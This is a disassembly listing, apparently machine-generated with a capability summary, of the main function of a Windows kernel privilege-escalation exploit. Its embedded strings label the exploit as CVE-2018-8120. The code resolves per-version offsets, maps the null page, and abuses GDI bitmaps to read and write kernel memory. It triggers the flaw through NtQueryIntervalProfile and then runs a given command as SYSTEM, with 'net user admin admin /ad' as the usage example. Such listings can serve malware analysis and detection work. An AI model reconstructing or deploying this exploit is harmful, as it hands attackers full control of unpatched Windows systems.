Function at 0x140001110
Capabilities:
Accept command line arguments
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Terminate process

Disassembly:
push rbp
push rdi
push r13
lea rbp, [rsp - 0xc500]
mov eax, 0xc600
call fcn.1400086b0
sub rsp, rax
mov rax, qword [0x1400163c0]
xor rax, rsp
mov qword [rbp + 0xc4e0], rax
xor edi, edi
mov dword [rsp + 0x54], edi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x54]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rcx, str.CVE_2018_8120_exploit_by__unamer_https:__github.com_unamer_
mov r13, rax
call fcn.140001f3c
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
cmp dword [rsp + 0x54], 2
je 0x14000119c
lea rcx, str.Usage:_exp.exe_command_nExample:_exp.exe__net_user_admin_admin__ad_
call fcn.140001f3c
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0xc630], r12
lea rcx, str.ntdll
mov qword [rsp + 0xc5f8], r14
mov qword [rsp + 0xc5f0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [rsp + 0x58], edi
mov qword [rsp + 0x70], rdi
mov r12, rax
xor eax, eax
lea rdi, [rbp + 0x40]
mov ecx, 0x114
lea rdx, str.RtlGetVersion
rep stosb byte [rdi], al
mov rcx, r12
mov dword [rbp + 0x40], 0x114
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x40]
call rax
mov eax, dword [rbp + 0x44]
cmp eax, 5
jne 0x140001239
mov r14, qword [rbp - 0x80]
mov r15d, dword [rsp + 0x58]
mov qword [0x140018848], 0x160
mov qword [0x140018838], 0x68
mov qword [0x140018868], 0xe0
mov qword [0x140018858], 0xd8
jmp 0x1400012d5
cmp eax, 6
jne 0x1400018ca
cmp dword [rbp + 0x48], 0
mov dword [0x140018860], 0xf8
jne 0x14000128f
call fcn.140001040
mov qword [0x140018848], 0x168
mov qword [0x140018838], 0x68
mov r14, rax
mov qword [0x140018868], 0xe0
mov qword [0x140018858], 0xe8
lea rax, [0x1400018fb]
jmp 0x1400012ca
call fcn.140001040
mov qword [0x140018848], 0x208
mov qword [0x140018838], 0x70
mov r14, rax
mov qword [0x140018868], 0x188
mov qword [0x140018858], 0x180
lea rax, [0x14000193b]
mov qword [rsp + 0x70], rax
mov r15d, 8
lea rdx, str.NtAllocateVirtualMemory
mov rcx, r12
mov qword [0x140018850], 0x188
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x70], 0x100
mov qword [rbp - 0x68], 0x1000
mov rdi, rax
test rax, rax
jne 0x140001334
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Fail_to_resolve_NtAllocateVirtualMemory_0x_X__n
mov edx, eax
call fcn.140001e90
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rbp - 0x68]
lea rdx, [rbp - 0x70]
xor r8d, r8d
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call rdi
test eax, eax
je 0x140001384
lea rcx, str.____Fail_to_alloc_null_page_
call fcn.140001f3c
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov r8d, 0x20000
call qword [sym.imp.USER32.dll_CreateWindowStationW]
test rax, rax
jne 0x1400013ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateWindowStationW_fail_0x_X__n
mov edx, eax
call fcn.140001e90
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetProcessWindowStation]
test eax, eax
jne 0x140001405
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____SetProcessWindowStation_fail_0x_X__n
mov edx, eax
call fcn.140001e90
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp + 0x164]
xor edx, edx
mov r8d, 0x17c
mov qword [rsp + 0xc620], rbx
mov dword [rbp + 0x160], 0x90
mov qword [rsp + 0xc628], rsi
call fcn.140008790
mov edx, 1
lea rax, [rbp + 0x160]
lea ecx, [rdx + 0x5f]
lea r9d, [rdx + 0x1f]
mov r8d, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.GDI32.dll_CreateBitmap]
mov edx, 1
mov rsi, rax
lea rax, [rbp + 0x160]
lea ecx, [rdx + 0x5f]
lea r9d, [rdx + 0x1f]
mov r8d, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.GDI32.dll_CreateBitmap]
mov rcx, rsi
mov r8, rax
mov qword [rbp - 0x80], rax
call fcn.140001000
mov rcx, r8
mov rdi, rax
call fcn.140001000
lea rcx, str.___Get_manager_at__llx_worker_at__llx_n
mov rdx, rdi
mov r8, rax
mov rbx, rax
call fcn.140001e90
lea rcx, [rdi - 8]
xor eax, eax
mov qword [0x50], rcx
lea rdi, [rbp + 0x2e0]
mov ecx, 0x200
rep stosb byte [rdi], al
mov qword [0x28], rbx
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
lea rcx, str.___Triggering_vulnerability...
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], rbx
mov dword [rbp + 0x2f0], 0x180
mov dword [rbp + 0x2f4], 0xabcd
mov dword [rbp + 0x2f8], 6
mov dword [rbp + 0x2fc], 0x10000
mov dword [rbp + 0x308], 0x4800200
call fcn.140001f3c
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
call fcn.140001ab8
lea rcx, [rax + 0x60]
call fcn.140001ca0
lea rcx, [rbp + 0x2e0]
call fcn.1400018f0
movsxd rdx, r15d
lea rcx, str.___Overwriting..._llx_n
add rdx, r14
mov qword [rbp - 0x78], rdx
call fcn.140001e90
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
xor ebx, ebx
lea r8, [rbp - 0x78]
lea edx, [rbx + 8]
mov rcx, rsi
mov qword [rsp + 0x78], rbx
call qword [sym.imp.GDI32.dll_SetBitmapBits]
mov rdi, qword [rbp - 0x80]
lea r8, [rsp + 0x78]
lea edx, [rbx + 8]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_GetBitmapBits]
lea r8, [rsp + 0x70]
lea edx, [rbx + 8]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SetBitmapBits]
lea rdx, str.NtQueryIntervalProfile
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rsp + 0xc628]
mov qword [0x140018830], rax
test rax, rax
jne 0x14000160c
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
call fcn.140001ab8
lea rcx, [rax + 0x60]
call fcn.140001ca0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Fail_to_resolve_NtQueryIntervalProfile_0x_X__n
mov edx, eax
call fcn.140001e90
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Elevating_privilege...
call fcn.140001f3c
lea rdx, [rsp + 0x58]
mov ecx, 0x1337
call qword [0x140018830]
lea rcx, str.___Cleaning_up...
call fcn.140001f3c
lea r8, [rsp + 0x78]
mov edx, 8
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SetBitmapBits]
lea rcx, [rbp + 0x24e1]
xor edx, edx
mov r8d, 0x9fff
mov byte [rbp + 0x24e0], bl
call fcn.140008790
xor eax, eax
lea rdi, [rbp - 0x30]
mov ecx, 0x68
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x68]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x48]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0x60]
xor r9d, r9d
mov edi, ebx
mov dword [rbp - 0x60], 0x18
mov qword [rbp - 0x58], rbx
mov dword [rbp - 0x50], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1400016db
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
call fcn.140001ab8
lea rcx, [rax + 0x60]
call fcn.140001ca0
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, qword [r13 + 8]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM..._n
call fcn.140001dcc
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rsp + 0x68]
lea rcx, [rbp + 0x4e2]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x28], rax
lea rax, str.WinSta0Default
xor edx, edx
mov r8d, 0x1ffe
mov word [rbp + 0x10], bx
mov qword [rbp - 0x20], rax
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x4e0], bx
call fcn.140008790
mov rdx, qword [r13 + 8]
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp - 0x48]
lea rdx, [rbp + 0x4e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400017de
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
call fcn.140001ab8
lea rcx, [rax + 0x60]
call fcn.140001ca0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessW_failed___p__n
mov edx, eax
call fcn.140001dcc
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp - 0x38]
lea rcx, str.___Process_created_with_pid__d__n
call fcn.140001e90
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x24e0]
mov r8d, 0xfa0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001850
nop
add edi, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x24e0]
movsxd rax, edi
lea r9, [rsp + 0x50]
mov r8d, 0xfa0
add rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001820
lea rcx, [rbp + 0x24e0]
call fcn.140001f3c
call fcn.140001ab8
lea rcx, [rax + 0x30]
call fcn.140001ca0
call fcn.140001ab8
lea rcx, [rax + 0x60]
call fcn.140001ca0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0xc620]
mov r12, qword [rsp + 0xc630]
mov r14, qword [rsp + 0xc5f8]
mov r15, qword [rsp + 0xc5f0]
xor eax, eax
mov rcx, qword [rbp + 0xc4e0]
xor rcx, rsp
call fcn.1400019d0
add rsp, 0xc600
pop r13
pop rdi
pop rbp
ret
mov edx, dword [rbp + 0x4c]
lea rcx, str.____Not_supported_version__d_n
call fcn.140001e90
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]